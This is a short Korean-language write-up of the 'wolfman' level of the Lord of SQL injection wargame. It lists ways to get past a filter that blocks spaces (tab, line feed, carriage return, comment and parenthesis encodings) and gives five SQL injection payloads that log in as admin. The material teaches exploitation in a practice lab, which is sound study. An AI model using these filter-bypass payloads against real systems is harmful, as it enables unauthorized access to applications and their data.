[Lord of SQL_injection] #5 wolfman

wolfman 문제의 소스코드입니다.

 

띄어쓰기를 하지 않아야하고 필터링을 우회해야하면서도 id가 admin이여야 해결되는 문제입니다.

 

띄어쓰기를 우회하는 방법은 많습니다.

 

1. Tab : %09

2. Line Feed (\n) : %0a

3. Carrage Return (\r) : %0d

4. 주석 : /**/

5. 괄호 : ()

 

저는 \n 인 %0a를 이용해서 문제를 해결해 보겠습니다.

 

?pw='or%0aid='admin

 

1. ?pw='or%09id='admin

2. ?pw='or%0aid='admin

3. ?pw='or%0did='admin

4. ?pw='or/**/id='admin

5. ?pw='or(id='admin')%23